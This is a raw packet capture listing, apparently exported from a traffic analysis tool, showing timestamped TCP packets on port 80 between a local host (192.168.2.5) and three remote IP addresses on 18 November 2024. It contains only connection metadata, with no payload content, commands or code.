Nov 18, 2024 19:04:40.959361076 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.965718985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.965732098 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.965742111 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.965796947 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.983107090 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.984632969 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.984874964 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.984884977 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.984935045 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.985081911 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.986100912 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.986112118 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.986121893 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.986208916 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.986208916 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.987087965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.987099886 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.987112045 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.987118959 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.987126112 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.987134933 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.987200975 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.987200975 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.010777950 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.010787964 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.010910988 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.010924101 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.010935068 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.010946989 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.010957956 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.010982037 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.011061907 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.011070013 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.011081934 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.011092901 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.011127949 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.011168003 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.011558056 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.011569023 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.011580944 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.011641979 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.011642933 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.020320892 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.020354986 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.020384073 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.020420074 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.020452023 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.020467997 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.020576000 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.020627022 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.020668983 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.020989895 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.021002054 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.021013975 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.021029949 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.021042109 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.021063089 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.021136999 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.021178007 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.021752119 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.021797895 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.029753923 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.029824972 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.030257940 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.030303001 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.032228947 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.036963940 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.037022114 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.044326067 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.044857979 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.044920921 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.046314955 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.047580957 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.047637939 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.056725979 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.056788921 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.056803942 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.056819916 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.058557034 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.058979034 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.059428930 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.059437037 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.059465885 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.059478045 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.059509993 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.059509993 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.059539080 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.059593916 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.059604883 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.059643984 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.059787035 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.059796095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.059813023 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.059825897 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.059838057 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.059837103 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.059900045 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.059900045 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.060054064 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.060244083 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.060254097 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.060283899 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.060285091 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.060323000 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.060333014 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.060362101 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.060362101 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.061126947 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.061218977 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.061228037 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.061239958 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.061250925 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.061261892 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.061275005 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.061275005 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.063330889 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.104310989 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.104336023 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.104348898 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.104453087 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.104453087 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.105173111 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.105185032 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.105335951 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.105520010 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.105531931 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.105542898 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.105592012 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.105592012 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.124509096 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.124569893 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.124648094 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.124661922 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.124672890 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.124685049 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.124689102 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.124697924 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.124708891 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.124722004 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.124758959 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.124758959 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.125164986 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.125176907 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.125188112 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.125237942 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.125237942 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.130063057 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130076885 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130089045 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130104065 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130115986 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130127907 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130142927 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.130182981 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.130662918 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130677938 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130690098 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130703926 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.130722046 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.130747080 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.131441116 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.131455898 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.131506920 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.131587982 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.131602049 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.131612062 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.131640911 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.131655931 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.172555923 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.172620058 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.172965050 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.173027992 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.178107977 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.178118944 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.178131104 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.178201914 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.178262949 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.178489923 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.178502083 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.178512096 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.178524971 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.178539038 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.178543091 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.178589106 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.178903103 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.178915024 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.178925991 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.178997993 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.179023981 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179034948 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179045916 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179056883 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179068089 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179075003 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.179100037 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.179100037 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.179126024 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.179137945 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.179148912 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.179160118 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.179166079 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.179186106 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.179419041 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179431915 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179440975 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179490089 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.179490089 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.179647923 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179702044 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179713011 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179757118 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.179766893 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.179766893 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.179815054 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.180354118 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.180454016 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.180511951 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.219746113 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.223572016 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.223583937 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.223597050 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.223700047 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.223740101 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.223752022 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.223794937 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.223818064 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.224076986 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.224097967 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.224107981 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.224163055 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.224163055 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.233845949 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.234253883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.234324932 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.236139059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.236232042 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.236586094 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.243016005 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243138075 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.243184090 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243202925 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243216038 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243225098 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.243226051 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243238926 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243251085 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243259907 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.243259907 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.243262053 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243274927 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243287086 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.243328094 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.243328094 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.244523048 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.244534969 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.244545937 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.244560003 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.244600058 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.244600058 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.245189905 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.245222092 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.245232105 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.245265007 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.245306015 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.245349884 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.245353937 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.245362997 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.245405912 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.245469093 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.245794058 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.245805979 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.245819092 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.245850086 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.245862007 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.246221066 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.246262074 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.246514082 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.246526957 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.246537924 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.246553898 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.246578932 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.248775959 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.248788118 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.248799086 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.248847961 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.248872042 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.251152039 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.251338959 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.251351118 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.251404047 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.251446009 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.259278059 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.260091066 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.260154009 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.264802933 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.264816046 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.264826059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.264878035 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.266189098 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.266372919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.266387939 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.266398907 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:41.266423941 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.266455889 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:41.287751913 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.287928104 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:41.288048029 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:41.296780109 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.296792984 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.296803951 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.296874046 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.296885967 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.296896935 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.296951056 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.296951056 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.296951056 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.297734976 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.297745943 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.297755957 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.297820091 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.297821045 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.297903061 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.297914982 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.298120022 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.298161983 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.298234940 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.298362017 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.298374891 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.298433065 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.298527956 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.298712969 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.298726082 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.298732996 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.298772097 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.298772097 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.340030909 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.340648890 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:41.340851068 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:41.340902090 CET	49991	80	192.168.2.5	185.215.113.16
